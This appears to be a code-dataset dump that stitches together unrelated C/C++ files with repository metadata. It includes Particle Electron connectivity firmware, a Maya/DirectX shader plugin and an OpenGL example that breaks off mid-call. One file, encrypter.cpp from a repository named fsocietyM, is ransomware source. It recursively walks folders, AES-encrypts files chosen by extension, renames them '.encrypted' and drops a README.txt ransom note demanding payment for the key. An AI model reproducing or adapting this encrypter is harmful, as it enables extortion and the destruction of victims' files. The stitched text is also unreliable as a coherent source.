watchdogCallback); void setup() { // We store connection events in retained memory connectionEventSetup(); // This function is used only for tested, so you can trigger the various things // like reset, modemReset, and appWatchdog for testing purposes Particle.function("testerFn", testerFnCallback); // If you are using a 3rd party SIM card, you will likely have to set this // https://docs.particle.io/reference/firmware/electron/#particle-keepalive- // Particle.keepAlive(180); // This is used only for sleep with pin tests using testerFn pinMode(SLEEP_TEST_PIN, INPUT_PULLUP); // We use semi-automatic mode so we can disconnect if we want to, but basically we // use it like automatic, as we always connect initially. Particle.connect(); } void loop() { // Check cellular status - used for event logging mostly bool temp = Cellular.ready(); if (temp != isCellularReady) { // Cellular state changed isCellularReady = temp; connectionEventAdd(CONNECTION_EVENT_CELLULAR_READY, isCellularReady); Serial.printlnf("cellular %s", isCellularReady ? "up" : "down"); } // Check cloud connection status temp = Particle.connected(); if (temp != isCloudConnected) { // Cloud connection state changed isCloudConnected = temp; connectionEventAdd(CONNECTION_EVENT_CLOUD_CONNECTED, isCloudConnected); Serial.printlnf("cloud connection %s", isCloudConnected ? "up" : "down"); if (isCloudConnected) { // After successfully connecting to the cloud, clear the failure reboot counter connectionEventData.numFailureReboots = 0; } else { // Cloud just disconnected, start measuring how long we've been disconnected cloudCheckStart = millis(); } } if (!isCloudConnected) { // Not connected to the cloud - check to see if we've spent long enough in this state to reboot if (CLOUD_WAIT_FOR_REBOOT != 0 && millis() - cloudCheckStart >= CLOUD_WAIT_FOR_REBOOT) { // The time to wait to connect to the cloud has expired, reboot bool forceResetModem = false; if (isCellularReady) { // Generate events about the state of the connection before rebooting. We also // do some ping tests, and if we can't successfully ping, we force reset the mode // in hopes to clear this problem more quickly. forceResetModem = cloudConnectDebug(); } // Reboot smartReboot(CONNECTION_EVENT_REBOOT_NO_CLOUD, forceResetModem); } } if (Cellular.listening()) { // Entered listening mode (blinking blue). Could be from holding down the MODE button, or // by repeated connection failures, see: https://github.com/spark/firmware/issues/687 if (listeningStart == 0) { listeningStart = millis(); connectionEventAdd(CONNECTION_EVENT_LISTENING_ENTERED); Serial.println("entered listening mode"); } else { if (LISTEN_WAIT_FOR_REBOOT != 0 && millis() - listeningStart >= LISTEN_WAIT_FOR_REBOOT) { // Reboot smartReboot(CONNECTION_EVENT_REBOOT_LISTENING, false); } } } if (testerFnLoopData != NULL) { char *mutableData = testerFnLoopData; testerFnLoopData = NULL; testerFnLoopHandler(mutableData); free(mutableData); } // Handle sending out saved events connectionEventLoop(); } // reason is the reason code, one of the CONNECTION_EVENT_* constants // forceResetMode will reset the modem even immediately instead of waiting for multiple failures void smartReboot(int reason, bool forceResetModem) { connectionEventAdd(reason, ++connectionEventData.numFailureReboots); Serial.printlnf("smartReboot reason=%d numFailureReboots=%d forceResetModem=%d", reason, connectionEventData.numFailureReboots, forceResetModem); if (connectionEventData.numFailureReboots >= NUM_REBOOTS_BEFORE_RESETTING_MODEM || forceResetModem) { // We try not to do this because it requires the cellular handshake process to repeat, // which takes time and data. // This makes the reset more like unplugging the battery and power and doing a cold restart. connectionEventAdd(CONNECTION_EVENT_MODEM_RESET); connectionEventData.numFailureReboots = 0; Serial.println("resetting modem"); Particle.disconnect(); // 16:MT silent reset (with detach from network and saving of NVM parameters), with reset of the SIM card Cellular.command(30000, "AT+CFUN=16\r\n"); Cellular.off(); delay(1000); } System.reset(); } // This is called when timing out connecting to the cloud. It adds some debugging events to // help log the current state for debugging purposes. // It returns true to force a modem reset immediately, false to use the normal logic for whether to reset the modem. bool cloudConnectDebug() { int res = Cellular.command(PING_TIMEOUT, "AT+UPING=8.8.8.8\r\n"); connectionEventAdd(CONNECTION_EVENT_PING_DNS, res); res = Cellular.command(PING_TIMEOUT, "AT+UPING=api.particle.io\r\n"); connectionEventAdd(CONNECTION_EVENT_PING_API, res); // If pinging api.particle.io does not succeed, then reboot the modem right away return (res != RESP_OK); } // Called from the application watchdog when the main loop is blocked void watchdogCallback() { // This isn't quite safe; connectionEventAdd should only be called from the main loop thread, // but since by definition the main loop thread is stuck when the app watchdog fires, this is // probably not that unsafe. (The application watchdog runs in a separate thread.) connectionEventAdd(CONNECTION_EVENT_APP_WATCHDOG); System.reset(); } // This is the function registered with Particle.function(). Just copy the data and return so // the successful response can be returned to the caller. Since we do things like reset, or // enter an infinite loop, or sleep, doing this right from the callback causes the caller to // time out because the response will never be received. int testerFnCallback(String argStr) { // Process this in loop so the function won't time out testerFnLoopData = strdup(argStr.c_str()); return 0; } // This does the actual work from the Particle.function(). It's called from looo(). void testerFnLoopHandler(char *mutableData) { // Parse argument into space-separated fields const char *argv[MAX_TESTERFN_ARGS]; size_t argc = 0; char *cp = strtok(mutableData, " "); while(cp && argc < MAX_TESTERFN_ARGS) { argv[argc++] = cp; cp = strtok(NULL, " "); } if (argc == 0) { // No parameter, nothing to do return; } // Delay a bit here to make sure the function result is returned, otherwise if we // immediately go to sleep the function may return a timeout error. delay(500); // Process options here if (strcmp(argv[0], "reset") == 0) { smartReboot(CONNECTION_EVENT_TESTERFN_REBOOT, false); } else if (strcmp(argv[0], "modemReset") == 0) { smartReboot(CONNECTION_EVENT_TESTERFN_REBOOT, true); } else if (strcmp(argv[0], "appWatchdog") == 0) { connectionEventAdd(CONNECTION_EVENT_TESTERFN_APP_WATCHDOG, APP_WATCHDOG_TIMEOUT); while(true) { // Infinite loop! } } else if (strcmp(argv[0], "sleep") == 0 && argc >= 2) { // example usage from the Particle CLI: // particle call electron2 testerFn "sleep networkStandby 15" // optional duration in seconds, if not specified the default is 30 int duration = 30; if (argc >= 3) { duration = atoi(argv[2]); if (duration == 0) { duration = 30; } } connectionEventAdd(CONNECTION_EVENT_SLEEP); if (strcmp(argv[1], "deep") == 0) { // SLEEP_MODE_DEEP requires cellular handshaking again (blinking green) and also // restarts running setup() again, so you'll get an event 0 (CONNECTION_EVENT_SETUP_STARTED) System.sleep(SLEEP_MODE_DEEP, duration); } else if (strcmp(argv[1], "stop") == 0) { // stop mode sleep stops the processor but execution will continue in loop() without going through setup again // This mode will shut down the cellular modem to save power so upon wake it requires cellular handshaking // again (blinking green) System.sleep(SLEEP_TEST_PIN, FALLING, duration); } else if (strcmp(argv[1], "networkStandby") == 0) { // stop mode sleep stops the processor but execution will continue in loop() without going through setup again // This mode keeps the cellular modem alive, so you should go right back into blinking cyan to handshake // to the cloud only System.sleep(SLEEP_TEST_PIN, FALLING, duration, SLEEP_NETWORK_STANDBY); } } } // // Connection Event Code // // The idea is that we store small (16 byte) records of data in retained memory so they are preserved across rebooting // the Electron. Then, when we get online, we publish these records so they'll be found in your event log. // // The event data might look like this: // // 1470912225,52,0,0;1470912226,1642,1,1;1470912228,3630,2,1; // // Each record, corresponding to a ConnectionEventInfo object consists of 4 comma-separated fields: // date and time (Unix date format, seconds past January 1, 1970; the value returned by Time.now()) // millis() value // eventCode - one of the CONNECTION_EVENT_* constants defined above // data - depends on the event code // // Multiple records are packed into a single event up to the maximum event size (256 bytes); they are // separated by semicolons. // // This should be called during setup() void connectionEventSetup() { if (connectionEventData.eventMagic != CONNECTION_EVENT_MAGIC || connectionEventData.eventCount > CONNECTION_EVENT_MAX) { // Serial.println("initializing connection event retained memory"); connectionEventData.eventMagic = CONNECTION_EVENT_MAGIC; connectionEventData.eventCount = 0; connectionEventData.numFailureReboots = 0; } connectionEventAdd(CONNECTION_EVENT_SETUP_STARTED); } // This should be called from loop() // If there are queued events and there is a cloud connection they're published, oldest first. void connectionEventLoop() { if (connectionEventData.eventCount == 0) { // No events to send return; } if (!Particle.connected()) { // Not cloud connected, can't publish return; } if (millis() - connectionEventLastSent < PUBLISH_RATE_LIMIT) { // Need to wait before sending again to avoid exceeding publish limits return; } // Send events char buf[256]; // 255 data bytes, plus null-terminator size_t numHandled; size_t offset = 0; // Pack as many events as we have, up to what will fit in a 255 byte publish for(numHandled = 0; numHandled < connectionEventData.eventCount; numHandled++) { char entryBuf[64]; ConnectionEventInfo *ev = &connectionEventData.events[numHandled]; size_t len = snprintf(entryBuf, sizeof(entryBuf), "%lu,%lu,%d,%d;", ev->tsDate, ev->tsMillis, ev->eventCode, ev->data); if ((offset + len) >= sizeof(buf)) { // Not enough buffer space to send in this publish; try again later break; } strcpy(&buf[offset], entryBuf); offset += len; } connectionEventData.eventCount -= numHandled; if (connectionEventData.eventCount > 0) { Serial.printlnf("couldn't send all events, saving %d for later", connectionEventData.eventCount); memmove(&connectionEventData.events[0], &connectionEventData.events[numHandled], connectionEventData.eventCount * sizeof(ConnectionEventData)); } else { Serial.printlnf("sent %d events", numHandled); } Particle.publish(CONNECTION_EVENT_NAME, buf, PRIVATE); connectionEventLastSent = millis(); } // Add a new event. This should only be called from the main loop thread. // Do not call from other threads like the system thread, software timer, or interrupt service routine. void connectionEventAdd(int eventCode, int data /* = 0 */) { if (connectionEventData.eventCount >= CONNECTION_EVENT_MAX) { // Throw out oldest event Serial.println("discarding old event"); connectionEventData.eventCount--; memmove(&connectionEventData.events[0], &connectionEventData.events[1], connectionEventData.eventCount * sizeof(ConnectionEventData)); } // Add new event ConnectionEventInfo *ev = &connectionEventData.events[connectionEventData.eventCount++]; ev->tsDate = Time.now(); ev->tsMillis = millis(); ev->eventCode = eventCode; ev->data = data; Serial.printlnf("connectionEvent event=%d data=%d", eventCode, data); } }
38.073069
146
0.752317
opyh
6354741684f875d315851742098ad7a92712fb8a
13,382
cpp
C++
src_main/dx9sdk/Utilities/Source/Maya/FxInternal.cpp
raxxor45/ValveSecurity
de512a0b596c0bc6b8dcd1bcf1d5309442757706
[ "MIT" ]
2
2019-09-16T02:42:38.000Z
2020-04-24T19:52:46.000Z
src_main/dx9sdk/Utilities/Source/Maya/FxInternal.cpp
raxxor45/ValveSecurity
de512a0b596c0bc6b8dcd1bcf1d5309442757706
[ "MIT" ]
null
null
null
src_main/dx9sdk/Utilities/Source/Maya/FxInternal.cpp
raxxor45/ValveSecurity
de512a0b596c0bc6b8dcd1bcf1d5309442757706
[ "MIT" ]
3
2018-10-22T11:45:38.000Z
2020-04-24T19:52:47.000Z
#include "pch.h" //this for FxInternal::DecodePlug only struct PathDecodeElement { PathDecodeElement() { IsArray= false; Index= 0; } CStringA Name; MFnAttribute Attribute; bool IsArray; int Index;//maya only supports 1d arrays }; FxInternal::FxInternal() : DXMAnchor() { Effect= NULL; DirectXShader::ActiveFx.SetAt(this, this); } FxInternal::~FxInternal() { DXCC_ASSERT(Effect == NULL); } BOOL FxParameterGetUiVisible(LPD3DXEFFECT pEffect, DXCCEffectPath& parameter) { BOOL result= TRUE; D3DXHANDLE handle= DXCCFindEffectAnnotation(pEffect, parameter.Root->Handle, "SasUiVisible"); if(handle != NULL) { pEffect->GetBool(handle, &result); } return result; } MString FxParameterGetUiControl(LPD3DXEFFECT pEffect, DXCCEffectPath& parameter) { MString result= "Any"; D3DXHANDLE handle= DXCCFindEffectAnnotation(pEffect, parameter.Root->Handle, "SasUiControl"); if(handle != NULL) { LPCSTR str; if(DXCC_SUCCEEDED(pEffect->GetString(handle, &str))) result = str; } return result; } MString FxParameterGetUiLabel(LPD3DXEFFECT pEffect, DXCCEffectPath& parameter) { HRESULT hr= S_OK; CStringA UIName(parameter.End->Description.Name); if(parameter.Length == 1) { LPCSTR pName; D3DXHANDLE hUIName= DXCCFindEffectAnnotation(pEffect, parameter.Root->Handle, "SasUiLabel"); if(hUIName != NULL) { if(DXCC_SUCCEEDED(pEffect->GetString(hUIName, &pName))) UIName= pName; } } else { DXCCEffectElement* parent= &parameter.Root[parameter.Length-2]; if(parent->Description.Elements != 0) UIName.Format( "[%d]", parameter.End->Index); } //e_Exit: return MString(UIName.GetString()); } void FxInternal::Destroy() { DXCC_RELEASE(Effect); DirectXShader::ActiveFx.RemoveKey(this); } //THIS FUNCTION IS QUITE COMPLICATED BECAUSE //IT HAS TO DEAL WITH MAYA NAME MANGLING! //tokenize the path. //add each token into the element list which tracks the attributes and indices //for each entry added make sure there are no parents left out from maya name mangling. //after the list is populated and missing elements area added //we reiterate and produce the final result. MPlug FxInternal::DecodePlug(const CStringA& plugStr) { MPlug result; MFnDependencyNode depNode(GetSite()); CAtlList<PathDecodeElement> elementList; //tokenize the path int iLastPos=0; int iThisPos=0; CStringA subStr; while( iLastPos= iThisPos, subStr=plugStr.Tokenize(".[]", iThisPos), iThisPos != -1 ) { //char lastChar= subStr[iLastPos]; //char thisChar= subStr[iThisPos]; //are we looking at a named portion? if(iLastPos == 0 || plugStr[iLastPos-1]=='.' || (plugStr[iLastPos-1]==']' && plugStr[iLastPos]=='.')) { //if the name is length zero then it must be the case when // you do last[#]. The situation is caused by the sequence "]." //if we dont have a name we can skip since only 1d arrays are allowed. if(subStr.GetLength() > 0) { //everything we add is going to be based on the current tail. //because we are adding parents, as we find parents we can continue //to add them to this position so that they will order themselves properly POSITION insertPos= elementList.GetTailPosition(); //calculate the cancel condition. //it is the current tail's object if a tail exists otherwise NULL //NULL indicates go all the way to the root MObject cancelObj= MObject::kNullObj; if(elementList.GetCount() > 0) { cancelObj= elementList.GetTail().Attribute.object(); } //get the object we are currently working with MObject thisObj= depNode.attribute(subStr.GetString()); if(thisObj.isNull()) return MPlug();//Critical element of the path was not found...return NULL //add it to the list so that we have something to insertBefore elementList.AddTail(); elementList.GetTail().Name= subStr; elementList.GetTail().Attribute.setObject(thisObj); //walk through all of the parents until we reach cancel condition. //we can add the current element onto the list in the same way. for( MFnAttribute itrAttr( elementList.GetTail().Attribute.parent() ); !itrAttr.object().isNull() && (cancelObj != itrAttr.object()); itrAttr.setObject(itrAttr.parent())) { PathDecodeElement element; element.Attribute.setObject( itrAttr.object() ); //we change the position so that the grandparent is inserted before the parent insertPos= elementList.InsertBefore( insertPos, element); } } } //are we looking at a numbered portion? else if(plugStr[iLastPos-1]=='[' && plugStr[iThisPos-1]==']') { //if so change the array index. elementList.GetTail().IsArray= true; elementList.GetTail().Index = atoi( subStr.GetString() ); } else DXCC_ASSERT(false);//VERY POORLY FORMED STRING } //produce the result plug off of the elementList. bool first= true; for(POSITION pos= elementList.GetHeadPosition(); pos != NULL; elementList.GetNext(pos)) { PathDecodeElement& element= elementList.GetAt(pos); if(first) {//on first one we initialize the result first= false; result= MPlug( GetSite(), element.Attribute.object() ); } else { result= result.child( element.Attribute.object() ); } if(element.IsArray) { result= result.elementByLogicalIndex(element.Index); } if(result.isNull()) return MPlug();//Critical element of the path was not found...return NULL } return result; } CStringA FxInternal::EncodePlug(const MPlug& plug) { MString name= plug.partialName(false, true, false, false, true, true); return CStringA(name.asChar()); } D3DXHANDLE FxInternal::DecodeHandle(const CStringA& handleStr) { return Effect->GetParameterByName(NULL, handleStr.GetString()); } MPlug FxInternal::GetValuePlug(MPlug& plug) { MFnDependencyNode depNode(GetSite()); MObject oAttribute = plug.attribute(); MFnAttribute fnAttribute(oAttribute); MString name = fnAttribute.name() + MString("Value"); oAttribute= depNode.attribute(name); return plug.child(oAttribute); } CStringA FxInternal::TranscodePlugToHandle(const CStringA& plugStr) { int iLastPos=0; int iThisPos=0; CStringA result; CStringA partial; int rootIdx= plugStr.Find(DirectXShader::RootLongName.asChar()); if(rootIdx != 0) return CStringA(); if( plugStr[(int)DirectXShader::RootLongName.length()] != '.' ) return CStringA(); CStringA rootlessPlugStr= plugStr.Mid(DirectXShader::RootLongName.length()+1); CStringA subStr; while( iLastPos= iThisPos, subStr=rootlessPlugStr.Tokenize(".[]", iThisPos), iThisPos != -1 ) { if(iLastPos == 0) { partial= subStr; int prefixIdx= subStr.Find(DirectXShader::RootShortName.asChar()); if(prefixIdx != 0) return CStringA(); result= subStr.Mid(DirectXShader::RootShortName.length()); } else if(rootlessPlugStr[iLastPos-1]=='.' || (rootlessPlugStr[iLastPos-1]==']' && rootlessPlugStr[iLastPos]=='.')) { DXCC_ASSERT(subStr.Find(partial) == 0); CStringA uniquePart= subStr.Mid( partial.GetLength() ); partial= subStr; result.AppendFormat(".%s", uniquePart); } else if(rootlessPlugStr[iLastPos-1]=='[' && rootlessPlugStr[iThisPos-1]==']') { result.AppendFormat("[%s]", subStr); } else DXCC_ASSERT(false); } //remove last array if( result[result.GetLength()-1] == ']' ) { int lastArrayAccess= result.ReverseFind('['); DXCC_ASSERT(lastArrayAccess != -1); result= result.Left(lastArrayAccess); } int lastMember= result.ReverseFind('.'); if(lastMember == -1) return CStringA(); if(result.Mid(lastMember+1) != "Value") return CStringA(); result= result.Left(lastMember); return result; } void FxInternal::LoadLegacy() { MStatus stat= MStatus::kSuccess; MString filename; int cParamCount=0; MFnDependencyNode depNode(GetSite()); {//PARAMTER COUNT MPlug plugParamCount= depNode.findPlug("DXCC_FxParam_Count"); if(plugParamCount.isNull()) return; DXCHECK_MSTATUS(plugParamCount.getValue(cParamCount)); depNode.removeAttribute( plugParamCount.attribute() ); }//END//PARAMTER COUNT for(int iParam= 0; iParam < cParamCount; iParam++) { MString szName; MObject oData; MPlug plugName= depNode.findPlug(MString("DXCC_FxParam_Name")+iParam, &stat); if(plugName.isNull()) continue; DXCHECK_MSTATUS( plugName.getValue(szName) ); depNode.removeAttribute( plugName.attribute() ); CStringA newParamPlugName= TranscodeHandleToPlug( szName.asChar() ); MPlug newParamPlug= DecodePlug( newParamPlugName ); if(newParamPlug.isNull()) continue; MPlug plugData= depNode.findPlug(MString("DXCC_FxParam_Data")+iParam, &stat); if(plugData.isNull()) continue; DXCHECK_MSTATUS( plugData.getValue(oData) ); if(oData.hasFn( MFn::kStringData )) { MString dataStr; DXCHECK_MSTATUS( plugData.getValue(dataStr) ); newParamPlug.setValue( dataStr ); } else if(oData.hasFn( MFn::kDoubleArrayData )) { MFnDoubleArrayData dArrayData(oData); MDoubleArray dArray= dArrayData.array(); for(UINT iSub= 0; iSub < dArray.length(); iSub++) { MPlug subPlug= newParamPlug.elementByLogicalIndex( iSub ); if(subPlug.isNull()) continue; subPlug.setValue( dArray[iSub] ); } } depNode.removeAttribute( plugData.attribute() ); } } CStringA FxInternal::TranscodeHandleToPlug (const CStringA& handleStr) { int iLastPos=0; int iThisPos=0; CStringA result(DirectXShader::RootLongName.asChar()); CStringA partial(DirectXShader::RootShortName.asChar()); CStringA subStr; while( iLastPos= iThisPos, subStr=handleStr.Tokenize(".[]", iThisPos), iThisPos != -1 ) { if(iLastPos == 0 || handleStr[iLastPos-1]=='.' || (handleStr[iLastPos-1]==']' && handleStr[iLastPos]=='.')) { partial.Append(subStr.GetString()); result.AppendFormat(".%s", partial.GetString()); } else if(handleStr[iLastPos-1]=='[' && handleStr[iThisPos-1]==']') { result.AppendFormat("[%s]", subStr); } else DXCC_ASSERT(false); } D3DXPARAMETER_DESC desc; D3DXHANDLE handle= DecodeHandle(handleStr); Effect->GetParameterDesc(handle, &desc); if( desc.StructMembers == 0 && desc.Elements == 0 ) { partial.Append("Value"); result.AppendFormat(".%s", partial); } return result; } bool FxInternal::EffectLoad(LPCSTR filename, LPDXCCSHADERPROPERTIES pRestoreProps, LPCSTR RestoreMsg) { HRESULT hr= S_OK; MStatus status= MStatus::kSuccess; LPDIRECT3DDEVICE9 pDevice= NULL; LPD3DXBUFFER pErrors= NULL; LPD3DXEFFECT pTmpEffect= NULL; hr= g_PreviewPipeline.AccessEngine()->GetD3DDevice( &pDevice ); if(DXCC_FAILED(hr)) DXCC_GOTO_EXIT(e_Exit, TRUE); try { D3DXMACRO sas_present[2]= { {"SAS_PRESENT", "1"}, {NULL, NULL} }; if(DXCC_SUCCEEDED(D3DXCreateEffectFromFileA( pDevice, filename, sas_present, &g_SasIncluder, NULL, NULL, &pTmpEffect, &pErrors))) { EffectUnload(); pTmpEffect->AddRef(); Effect= pTmpEffect; DXCC_RELEASE(pTmpEffect); FxAttributeCreator AttributesCreator; D3DXHANDLE hGlobal= Effect->GetParameterBySemantic(NULL, "SasGlobal"); if(hGlobal == NULL) { MGlobal::displayWarning( "DirectXShader: File is not SAS compliant (missing SasGlobal) and may not render properly FILE: \"" + MString(filename) + "\"" ); } else { D3DXHANDLE hVersion= Effect->GetAnnotationByName(hGlobal, "SasVersion"); if(hVersion == NULL) { MGlobal::displayWarning( "DirectXShader: File is not SAS compliant (missing SAS version annotation) and may not render properly FILE:\"" + MString(filename) + "\"" ); } else { INT SasVersion[3] = {0,0,0}; if(DXCC_SUCCEEDED(Effect->GetIntArray( hVersion, SasVersion, 3))) { if(SasVersion[0] != 1 || SasVersion[1] != 1 || SasVersion[2] != 0 ) { MGlobal::displayWarning( "DirectXShader: File does not match supported SAS version(1.1.0) and may not render properly FILE:\"" + MString(filename) + "\"" ); } } } } if(DXCC_SUCCEEDED( AttributesCreator.Run(this) ) ) { FxAttributeFiller AttributesFiller; hr= AttributesFiller.Run(this, pRestoreProps, RestoreMsg); if(DXCC_FAILED(hr)) DXCC_GOTO_EXIT(e_Exit, TRUE); LoadLegacy(); } else { MGlobal::displayWarning( "DirectXShader Load Error: Unable to convert parameters to attributes on Shader Node." ); DXCC_STATUS_EXIT(hr, E_FAIL, e_Exit, FALSE); } } else { MGlobal::displayWarning( MString( "DirectXShader Load Error: Compiler Output - ") + MString( (LPCSTR) pErrors->GetBufferPointer() ) ); DXCC_STATUS_EXIT(hr, E_FAIL, e_Exit, FALSE); } } catch (...) { MGlobal::displayWarning( MString( "DirectXShader Load Error: Unexpected runtime exception thrown by D3DXCreateEffectFromFileA" ) ); DXCC_STATUS_EXIT(hr, E_FAIL, e_Exit, TRUE); } e_Exit: DXCC_RELEASE(pTmpEffect); DXCC_RELEASE(pDevice); DXCC_RELEASE(pErrors); return DXCC_SUCCEEDED(hr); } void FxInternal::EffectUnload() { HRESULT hr= S_OK; MStatus status= MStatus::kSuccess; MFnDependencyNode depNode(GetSite()); DXCC_RELEASE(Effect); MPlug scriptPlug(GetSite(), DirectXShader::aScript); if(!scriptPlug.isNull()) DXCHECK_MSTATUS(scriptPlug.setValue("")); MObject root = depNode.attribute(DirectXShader::RootShortName); if(!root.isNull()) depNode.removeAttribute(root); }
23.982079
171
0.696981
raxxor45
63547510c8b2e8bebae89ece37c346c1dea59eb5
5,439
cpp
C++
cpp/encrypter.cpp
TTFH/fsocietyM
84588d338c3e92c31733a6e46d0edb2351411344
[ "Unlicense" ]
10
2018-12-22T00:48:18.000Z
2022-03-17T10:19:30.000Z
cpp/encrypter.cpp
TTFH/fsocietyM
84588d338c3e92c31733a6e46d0edb2351411344
[ "Unlicense" ]
6
2019-05-01T17:02:16.000Z
2020-08-02T02:08:09.000Z
cpp/encrypter.cpp
TTFH/fsocietyM
84588d338c3e92c31733a6e46d0edb2351411344
[ "Unlicense" ]
4
2019-07-03T07:56:52.000Z
2021-09-07T15:06:09.000Z
#include <time.h> #include <stdio.h> #include <string.h> #include <stdint.h> #include "../headers/aes.h" #include "../headers/random.h" #include "../headers/encrypter.h" #include <fileapi.h> bool isEncryptedFile(string file) { char* ext = strrchr(file, '.'); if (ext == NULL) return false; return strcmp(ext + 1, "encrypted") == 0; } prio_t isValidFile(string file) { char* ext = strrchr(file, '.'); if (ext == NULL) return false; ext++; uint res = 0; for (int i = 0; i < 75 && res == 0; i++) if (strlen(ext) == strlen(extensions[i]) && strcmp(ext, extensions[i]) == 0) res = i + 1; return res; } /* To encrypt files using AES 256, the file size must be a multiple of 16 bytes This function adds 1 to 16 bytes to the file using ANSI X9.23 padding method */ void ANSI_X9_23(string filename) { FILE* file = fopen(filename, "rb+"); fseek(file, 0, SEEK_END); uint32_t size = ftell(file); uint8_t len = AES_BLOCKLEN - size % AES_BLOCKLEN; uint8_t* pad = new uint8_t[len]; for (uint8_t i = 0; i < len - 1; i++) pad[i] = 0x00; pad[len - 1] = len; fwrite(pad, sizeof(uint8_t), len, file); rewind(file); fclose(file); delete[] pad; } Encrypter* Encrypter::instance = NULL; Encrypter* Encrypter::getInstance() { if (instance == NULL) instance = new Encrypter(); return instance; } Encrypter::Encrypter() { pq = new PriorityQueue(75); key = NULL; cant_encrypted = 0; cant_decrypted = 0; } void Encrypter::destroyKey() { delete key; key = NULL; } void Encrypter::AES_stream_encrypt(string filename) { AES_ctx ctx = AES_init_ctx(this->key); FILE* file = fopen(filename, "rb+"); fseek(file, 0, SEEK_END); uint32_t size = ftell(file); uint8_t* block = new uint8_t[AES_BLOCKLEN]; for (uint32_t i = 0; i < size; i += AES_BLOCKLEN) { fseek(file, i, SEEK_SET); fread(block, 1, AES_BLOCKLEN, file); AES_ECB_encrypt(&ctx, block); fseek(file, i, SEEK_SET); fwrite(block, sizeof(uint8_t), AES_BLOCKLEN, file); } delete[] block; fclose(file); // Add .encrypted extension char* dest = new char[strlen(filename) + 11]; strcpy(dest, filename); strcat(dest, ".encrypted"); rename(filename, dest); delete[] dest; } void Encrypter::AES_stream_decrypt(string filename) { AES_ctx ctx = AES_init_ctx(this->key); FILE* file = fopen(filename, "rb+"); fseek(file, 0, SEEK_END); uint32_t size = ftell(file); uint8_t* block = new uint8_t[AES_BLOCKLEN]; // Remove .encrypted extension char* dest = new char[strlen(filename) + 1]; strcpy(dest, filename); char* lastdot = strrchr(dest, '.'); *lastdot = '\0'; FILE* destfile = fopen(dest, "wb"); for (uint32_t i = 0; i < size; i += AES_BLOCKLEN) { fseek(file, i, SEEK_SET); fread(block, 1, AES_BLOCKLEN, file); AES_ECB_decrypt(&ctx, block); fseek(destfile, i, SEEK_SET); if (i < (size - AES_BLOCKLEN)) fwrite(block, sizeof(uint8_t), AES_BLOCKLEN, destfile); else fwrite(block, sizeof(uint8_t), AES_BLOCKLEN - block[AES_BLOCKLEN - 1], destfile); } delete[] block; delete[] dest; fclose(file); fclose(destfile); remove(filename); } void Encrypter::encryptFile(string fname) { prio_t p = isValidFile(fname); if (p == 0) return; char* copy = new char[strlen(fname) + 1]; strcpy(copy, fname); pq->push(copy, p); //ANSI_X9_23(fname); //AES_stream_encrypt(fname); cant_encrypted++; } void Encrypter::decryptFile(string fname) { if (!isEncryptedFile(fname)) return; AES_stream_decrypt(fname); cant_decrypted++; } void Encrypter::generateKey() { key = advandedRNG(id, len, time(NULL) ^ clock()); } void Encrypter::notify(string sPath) { char path[512]; sprintf(path, "%s\\%s", sPath, "README.txt"); FILE* idfile = fopen(path, "w"); string buffer = "After payment, use the next id to generate your key: "; fwrite(buffer, sizeof(char), strlen(buffer), idfile); fwrite(id, sizeof(uint8_t), len, idfile); buffer = "\nYou can also use it to decrypt one file for free!\n"; fwrite(buffer, sizeof(char), strlen(buffer), idfile); fclose(idfile); } void Encrypter::recursive(option opt, string path) { char sPath[512]; sprintf(sPath, "%s\\*.*", path); // Search all files WIN32_FIND_DATA fdFile; HANDLE hFind = FindFirstFile(sPath, &fdFile); do { if (strcmp(fdFile.cFileName, ".") != 0 && strcmp(fdFile.cFileName, "..") != 0) { sprintf(sPath, "%s\\%s", path, fdFile.cFileName); if (fdFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) this->recursive(opt, sPath); // Folder else { if (opt == ENCRYPT) encryptFile(sPath); // File else decryptFile(sPath); } } } while (FindNextFile(hFind, &fdFile)); // Find the next file FindClose(hFind); // Clean if (opt == ENCRYPT) notify(path); } void Encrypter::setKey(uint8_t* decrypt_key) { key = decrypt_key; } uint Encrypter::getCantEncrypted() { return cant_encrypted; } uint Encrypter::getCantDecrypted() { return cant_decrypted; } void Encrypter::test() { while (!pq->empty()) { info_t i = pq->top(); prio_t p = pq->max_priority(); printf("%d %s\n", p, i); //ANSI_X9_23(i); //AES_stream_encrypt(i); pq->pop(); } }
27.195
88
0.618864
TTFH
635c5b679e2961199b08551f3b81a2a7b94586de
2,947
cc
C++
7.mvp_triangle/main.cc
joone/opengl-wayland
76355d9fbe160c3991577fe206350d5f992a9395
[ "BSD-2-Clause" ]
5
2021-01-25T01:51:58.000Z
2022-03-18T22:50:10.000Z
7.mvp_triangle/main.cc
joone/opengl-wayland
76355d9fbe160c3991577fe206350d5f992a9395
[ "BSD-2-Clause" ]
null
null
null
7.mvp_triangle/main.cc
joone/opengl-wayland
76355d9fbe160c3991577fe206350d5f992a9395
[ "BSD-2-Clause" ]
null
null
null
// // Triangle example // // Shader code came from OpenGL(R) ES 3.0 Programming Guide, 2nd Edition // Simple_VertexShader.c #include "../common/matrix.h" #include "../common/display.h" #include "../common/wayland_platform.h" #include "../common/window.h" // #version 300 es const char* vertexShaderSource = "#version 300 es \n" "uniform mat4 u_mvpMatrix; \n" "layout(location = 0) in vec4 pos; \n" "layout(location = 1) in vec4 color; \n" "out vec4 v_color; \n" "void main() \n" "{ \n" " v_color = color; \n" " gl_Position = u_mvpMatrix * pos; \n" "}"; const char* fragmentShaderSource = "#version 300 es \n" "precision mediump float; \n" "layout(location = 0) out vec4 out_color; \n" "void main() \n" "{ \n" " out_color = vec4(1.0f, 0.0f, 0.0f, 1.0f); \n" "} \n"; void redraw(WaylandWindow* window) { WaylandPlatform* platform = WaylandPlatform::getInstance(); ged::Matrix modelview; ged::Matrix projection; float vertices[] = { 0.0f, 0.5f, 0.0f, // left -0.5f, -0.5f, 0.0f, // right 0.5f, -0.5f, 0.0f // top }; glViewport(0, 0, window->geometry.width, window->geometry.height); glClearColor(0.0, 0.0, 0.0, 0.5); glClear(GL_COLOR_BUFFER_BIT); float aspect = window->geometry.width / window->geometry.height; // Generate a perspective matrix with a 60 degree FOV. float field_of_view = 60.0f; projection.Perspective(field_of_view, aspect, 1.0f, 20.0f); // Translate away from the viewer modelview.Translate(0.0, 0.0, -2.0 ); // Rotate the cube GLfloat angle = 60 * M_PI / 180.0; modelview.Rotate(angle, 1.0, 0.0, 1.0); // Compute the final MVP by multiplying the // modevleiw and perspective matrices together modelview.MatrixMultiply(projection); // Load the MVP matrix glUniformMatrix4fv(platform->getGL()->mvpLoc, 1, GL_FALSE, modelview.Data()); glVertexAttribPointer(0, 2, GL_FLOAT, 